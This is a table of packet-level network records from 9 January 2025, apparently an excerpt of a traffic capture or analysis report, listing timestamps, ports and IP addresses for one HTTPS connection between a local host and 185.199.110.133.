Jan 9, 2025 08:42:11.555274010 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.555289984 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.555349112 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.555354118 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.555389881 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.555425882 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.555540085 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.555553913 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.555588961 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.555594921 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.555624008 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.555639982 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.559673071 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.639092922 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.639118910 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.639241934 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.639270067 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.639358997 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.639604092 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.639620066 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.639664888 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.639671087 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.639698982 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.639712095 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640048981 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640064955 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640136957 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640142918 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640206099 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640798092 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640816927 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640862942 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640866041 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640882015 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640888929 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640899897 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640935898 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640939951 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.640954018 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.640984058 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.641678095 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.641693115 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.641733885 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.641737938 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.641767979 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.641768932 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.641787052 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.641792059 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.641797066 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.641824007 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.641858101 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.642608881 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.642626047 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.642688036 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.642694950 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.642740965 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.646123886 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.646286964 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.725887060 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.725920916 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.725971937 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726021051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726049900 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726062059 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726413965 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726454973 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726466894 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726486921 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726496935 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726526022 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726810932 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726849079 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726896048 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726907015 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.726921082 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.726947069 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.727345943 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.727365017 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.727400064 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.727406979 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.727427959 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.727446079 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.727972984 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.727994919 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728039026 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.728045940 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728082895 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.728095055 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728108883 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728144884 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.728149891 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728188038 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.728888035 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728902102 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728938103 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.728945017 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.728965998 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.729007959 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.729456902 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.729471922 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.729511976 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.729518890 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.729538918 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.729562998 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.757766962 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.812721968 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.812738895 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.812791109 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.812817097 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.812832117 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.812860012 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.813286066 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.813299894 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.813335896 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.813340902 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.813364983 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.813385963 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.813698053 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.813711882 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.813755035 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.813759089 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.813786983 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.813805103 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.814131975 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.814146042 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.814186096 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.814191103 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.814213991 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.814229965 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.814938068 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.814953089 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815004110 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.815007925 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815028906 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.815095901 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.815474987 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815490007 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815534115 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.815538883 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815546989 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815568924 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815576077 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.815581083 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.815602064 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.815625906 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.816390038 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.816404104 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.816446066 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.816451073 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.816481113 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.816499949 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.899529934 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.899555922 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.899656057 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.899686098 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.899733067 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.900043964 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.900058985 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.900114059 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.900119066 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.900156975 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.900494099 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.900506020 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.900557995 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.900563955 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.900602102 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.901149988 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.901161909 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.901216984 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.901221991 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.901325941 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.901407003 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.901420116 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.901480913 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.901485920 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.901529074 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.902205944 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902220011 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902277946 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.902282953 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902323961 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.902476072 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902489901 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902545929 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.902550936 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902594090 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.902977943 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.902991056 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.903047085 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.903052092 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.903096914 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.986440897 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986466885 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986721992 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.986746073 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986820936 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.986824036 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986836910 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986856937 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986881971 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.986887932 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.986917019 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.986938000 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.987344980 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.987360954 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.987533092 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.987538099 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.987581968 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.987745047 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.987761021 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.987812042 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.987816095 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.987853050 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.988380909 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.988399029 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.988447905 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.988451004 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.988487005 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.988892078 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.988912106 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.988964081 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.988969088 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.989002943 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.989324093 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.989339113 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.989386082 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.989388943 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.989424944 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.989964962 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.989984989 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.990031958 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:11.990036011 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:11.990073919 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.073054075 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.073080063 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.073318958 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.073343992 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.073389053 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.073493004 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.073512077 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.073566914 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.073571920 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.073621035 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.074188948 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.074206114 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.074253082 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.074258089 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.074286938 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.074302912 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.074609041 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.074624062 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.074671030 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.074675083 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.074711084 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.074733019 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.075078011 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.075093985 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.075139046 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.075143099 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.075176001 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.075195074 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.075572968 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.075587034 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.075644016 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.075648069 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.075678110 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.075696945 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.076272011 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.076288939 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.076342106 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.076344967 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.076356888 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.076371908 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.076378107 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.076405048 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.076409101 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.076436996 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.076458931 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.160123110 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.160150051 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.160393953 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.160422087 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.160500050 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.160514116 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.160530090 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.160588980 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.160593987 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.160634995 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.161010027 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.161026001 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.161103964 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.161109924 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.161165953 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.161420107 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.161436081 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.161519051 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.161523104 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.161576986 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.162069082 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.162090063 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.162142038 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.162147999 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.162180901 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.162199974 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.162547112 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.162564039 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.162622929 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.162627935 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.162668943 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.163162947 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.163177967 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.163223982 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.163228989 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.163260937 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.163274050 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.163605928 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.163625002 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.163681030 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.163686037 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.163731098 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.247035980 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.247065067 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.247191906 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.247209072 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.247364998 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.247456074 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.247469902 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.247508049 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.247513056 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.247544050 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.247562885 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.248055935 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.248080969 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.248147011 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.248152971 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.248194933 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.248507023 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.248522043 CET	443	49731	185.199.110.133	192.168.2.4
Jan 9, 2025 08:42:12.248573065 CET	49731	443	192.168.2.4	185.199.110.133
Jan 9, 2025 08:42:12.248578072 CET	443	49731	185.199.110.133	192.168.2.4
